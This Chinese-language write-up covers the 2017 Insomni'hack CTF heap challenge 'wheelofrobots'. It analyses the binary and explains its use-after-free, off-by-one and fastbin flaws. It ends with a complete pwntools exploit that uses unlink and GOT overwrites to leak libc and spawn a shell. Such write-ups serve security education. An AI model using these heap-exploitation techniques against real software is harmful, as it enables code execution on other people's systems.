2017 insomni'hack wheelofrobots Writeup
2017 insomni'hack wheelofrobots Writeup
0x00 前言
题目地址：wheelofrobots
程序保护：
0x01 程序分析
1.1 main
main程序如下图。进入程序后，先显示菜单，然后用户输入，根据选项调用相应的功能函数。
菜单函数如下图，该程序主要有四个功能：添加、删除、修改、输出。
选项读取函数如下，使用read()向a1处读入len长度，然后调用atoi将其转化为数字。
1.2 add
程序一共有6个机器人可供选择，用数字1,2,3,4,5,6来选择，根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2，即最多添加3个机器人。
机器人1 Tinny的分配即case 1部分：判断是否使用-->申请大小为20块，将地址保存在tinny-->tinny_inuse置1-->往块中写入默认内容-->轮子数+1
机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小，并将大小变量保存在bender_size全局变量中。
机器人3 Devil与2一样，但可以分配更大的内存块。
机器人4 Chain与机器人5 Ire一样，只能申请固定大小块。
机器人6 Destructor也是与前面一样的操作。
1.3 remove
移除的操作每个机器人都一样，以机器人1为例。这里机器人移除后指针没有置NULL！
1.4 change
修改操作每个机器人都一样，只是可写入的块大小不同，以机器人1，2为例。
1.5 start_robot
此功能实际为打印，函数sub_400CA0(char *p)包含一个printf打印，可以将p指向的内容打印出来，这里p为各机器人块地址。但switch中的sub_4051BD()结果是随机的，且打印完后会执行exit(1)程序会直接退出。
int start_robot()
{
if ( (unsigned __int64)robot_wheel_cnt > 2 ) //要求轮子数为2
{
switch ( (unsigned int)sub_4015BD(6LL) ) //结果具有随机性
{
case 1u:
if ( !bender_inuse )
goto LABEL_6;
sub_400CA0(tinny); // 打印tinny指针指向的内容
break;
case 2u:
LABEL_6:
if ( !bender_inuse )
goto LABEL_8;
sub_400B20((__int64)"Are you kidding me!!!");
break;
case 3u:
LABEL_8:
if ( !devil_inuse )
goto LABEL_10;
sub_400CA0(devil);
break;
case 4u:
LABEL_10:
if ( !chain_inuse )
goto LABEL_12;
sub_400CA0((char *)chain);
break;
case 5u:
LABEL_12:
if ( !ire_inuse )
goto LABEL_14;
sub_400CA0((char *)ire);
break;
case 6u:
LABEL_14:
if ( !destructor_inuse )
goto LABEL_16;
sub_400CA0((char *)destructor);
break;
default:
LABEL_16:
sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
break;
}
exit(1); // 打印完后直接退出
}
return puts("Filling the wheel first!");
}
1.6 bss变量位置关系
可以看到依次存储的是：各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小
.bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
.bss:00000000006030E0 ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
.bss:00000000006030E8 ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
.bss:00000000006030F0 ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
.bss:00000000006030F8 ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
.bss:0000000000603100 ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
.bss:0000000000603108 ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
.bss:0000000000603110 ; add+49↑o ...
.bss:0000000000603111 db ? ;
.bss:0000000000603112 db ? ;
.bss:0000000000603113 db ? ;
.bss:0000000000603114 ; int bender_inuse
.bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114 ; add+173↑w ...
.bss:0000000000603118 ; int chain_inuse
.bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118 ; add+2B5↑w ...
.bss:000000000060311C ; int destructor_inuse
.bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C ; add+3B1↑w ...
.bss:0000000000603120 ; int tinny_inuse
.bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120 ; add+AD↑w ...
.bss:0000000000603124 ; int devil_inuse
.bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124 ; add+236↑w ...
.bss:0000000000603128 ; int ire_inuse
.bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128 ; add+31C↑w ...
.bss:000000000060312C align 10h
.bss:0000000000603130 ; __int64 robot_wheel_cnt
.bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
.bss:0000000000603130 ; add+D1↑r ...
.bss:0000000000603138 ; __int64 bender_size
.bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
.bss:0000000000603138 ; change+AC↑r
.bss:0000000000603140 ; __int64 devil_size
.bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
.bss:0000000000603140 ; change+F5↑r
.bss:0000000000603148 ; __int64 destructor_size
.bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
.bss:0000000000603148 ; change+19C↑r
0x02 利用思路
从后向前介绍思路，最终要执行system("/bin/sh")，需要泄露某个函数地址，获得动态链接库加载基址。程序中start_robot功能中的输出可以被利用来泄露函数地址，但这里输出的内容为机器人指针指向的内容，所以我们应该想办法将机器人指针修改为某函数GOT地址，从而泄露该函数实际地址。
为了修改机器人(chunk)指针内容，可以使用unlink，这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定，若能篡改其中一个块的size，则可以达到上面的目的。
在前面的分析中发现，机器人指针free后没有置NULL，我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞，将chunk分配到0x603138处，进而可以向0x603148(destructor_size)处写值，控制destructor chunk大小，实现unlink。
分配chunk到0x603138后
0x603138 pre_size //bender_size
0x603140 size //devil_size
0x603148 userdata //destructor_size
fastbin漏洞原理
fastbin链表使用的是单链表，设初始申请大小为0x20的chunk0，地址为chunk0_ptr，再释放，这时链表指向：fastbin[0]=>chunk0_ptr
若有个地址fake_ptr，我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同)，这时我们向chunk0写入fake_ptr(利用分配时得到的指针)，这时chunk0的fd就会变成fake_ptr，链表指向：fastbin[0]=>chunk0_ptr=>fake_ptr
这时我们再分配大小为0x20的块，就会把chunk0重新分配出来，这时链表指向：fastbin[0]=>fake_ptr
然后我们再分配大小为0x20的块，就会得到一个地址为fake_ptr的chunk，进而可以往fake_ptr+0x10处写入数据。
P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确（同一个链里块大小相同）
为了实现将chunk分配到0x603138处，需要满足两个条件：
- 一个释放后依然可修改的chunk
0x603140位置可修改（即期望得到的chunk的size字段）为期望大小
第2个条件很容易满足，因为0x603140位置为devil_size位置，我们可以在申请devil机器人时设置它的大小，其大小约束(<=0x63)满足我们的需求。
第1个条件，程序在释放chunk后没有对指针置空，所以依然可以利用该指针访问chunk，但是修改功能会对机器人inuse标志进行判断，所以我们需要能控制inuse的值。
要篡改inuse的值就要用到程序中存在的一个off by one漏洞了。
如图所示，在添加机器人时，允许输入5个字节到choice。
而choice只有4个字节，多出的1个字节会写到bender_inuse里，进而我们就可以控制bender_inuse的标志！
而bender的大小(20*v7, v7<=4)也满足我们的要求，因此我们可以利用bender基于fastbin机制漏洞将chunk分到我们指定的区域。
总结
1.利用off by one控制bender_inuse，分配devil大小为0x21，利用bender基于fastbin漏洞基址将地址为0x603038的chunk分配给tinny
2.删除bender,devil块，分配destructor和devil，其中devil块范围要超过fastbin，为unlink做准备
3.利用步骤1分配的chunk修改destructor_size，构造payload写入destructor并溢出到devil的header
4.free(devil)实现unlink，构造payload实现任意地址写
5.修改机器人指针为某函数地址，将exit@got改为ret地址(防止输出后退出程序)，利用start_robots泄露函数地址
6.计算动态链接库基址，计算system地址值，将free@got改为system地址，将destructor指向binsh字符串，然后调用delete函数，原意释放destructor变为执行system("/bin/sh")，得到shell.
0x03 Exploit
利用代码如下：
from pwn import *
p = process('./wheelofrobots')
#context.log_level = 'debug'
def add(robot, size=0):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', str(robot))
if(robot==2):
p.sendlineafter('intelligence: ', str(size))
elif(robot==3):
p.sendlineafter('cruelty: ', str(size))
elif(robot==6):
p.sendlineafter('powerful: ', str(size))
def remove(robot):
p.sendlineafter('choice : ', '2')
p.sendlineafter('choice :', str(robot))
def change(robot,content):
p.sendlineafter('choice : ', '3')
p.sendlineafter('choice :', str(robot))
p.sendafter('name: ', content)
def start_robot():
p.sendlineafter('choice : ', '4')
def ch_bender_inuse(bit):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', '9999'+bit)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
#gdb.attach(p)
# 分配bender再释放，使得fastbin[0]指向bender_ptr
add(2,1)
remove(2)
# 为修改bender->fd,利用off by one修改bender_inuse标志为使用
ch_bender_inuse('\x01')
# 将bender->fd设为0x603138
change(2, p64(0x603138))
# 将bender_inuse还原为未使用，fastbin[0]==>bender_ptr==>0x603138
ch_bender_inuse('\x00')
#将bender_ptr重新分配出来，fastbin[0]==>0x603138
add(2,1)
#将0x603140(devil_size)设置为0x21，因fastbin分配时会验证大小
add(3,0x21)
#将0x603138地址开始的chunk分配给tinny(1)
add(1)
# 因最多分配3个，移除多余的
remove(2)
remove(3)
# 分配两个chunk用来实现unlink
add(6,3) #destructor,用于溢出,实际数据大小为0x40（3*20=60，再加上对齐）
add(3,7) #devil
# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80
change(1,p64(0x80))
# 构造payload unlink
target = 0x6030E8 #destructor指针地址
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
# 修改devil chunk header
payload += p64(0x40) + p64(0xa0)
# 写入destructor并溢出
change(6,payload)
# unlink，使destructor[0]=&destructor-0x18
remove(3)
# 构造payload写入destructor即0x6030D0,使tinny指向destructor
# 进而可以通过控制tinny修改destructor的指向，通过destructor修改其指向位置的内容，实现任意写
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
#.bss:00000000006030D0 stdin dq ? 0
#.bss:00000000006030D8 byte_6030D8 db ? 0
#.bss:00000000006030E0 chain dq ? 'aaaaaaaa'
#.bss:00000000006030E8 destructor dq ? 'aaaaaaaa'
#.bss:00000000006030F0 bender dq ? 'aaaaaaaa'
#.bss:00000000006030F8 tinny dq ? 0x006030E8
#.bss:0000000000603100 devil dq ?
libc = ELF('./libc-2.23.so')
elf = ELF('./wheelofrobots')
# patch exit为return指令，防止输出地址后exit(1)退出
write(elf.got['exit'], 0x401954)
puts_got = elf.got['puts']
# .bss:0000000000603130 robot_wheel_cnt dq ?
# 修改robot_wheel_cnt值为3，使start_robot()可以输出
write(0x603130, 3)
# 修改tinny指向(destructor)值为puts@got地址
change(1,p64(elf.got['puts']))
# 输出destructor指向(puts@got)的内容,即puts的实际地址
start_robot()
p.recvuntil('great!! Thx ')
leak = p.recvuntil('!\n')[:-2]
leak_puts = u64(leak.ljust(8,b'\x00'))
log.success('leak puts addr: ' + hex(leak_puts))
# 计算动态链接库加载基址，及system函数地址
libc_base = leak_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('/bin/sh addr: ' + hex(binsh_addr))
# 将free@got值改为system函数地址
write(elf.got['free'], sys_addr)
# 将destructor设为"/bin/sh"字符串地址
change(1,p64(binsh_addr))
# free(destructor)==>system("/bin/sh")
remove(6)
p.interactive()
执行结果
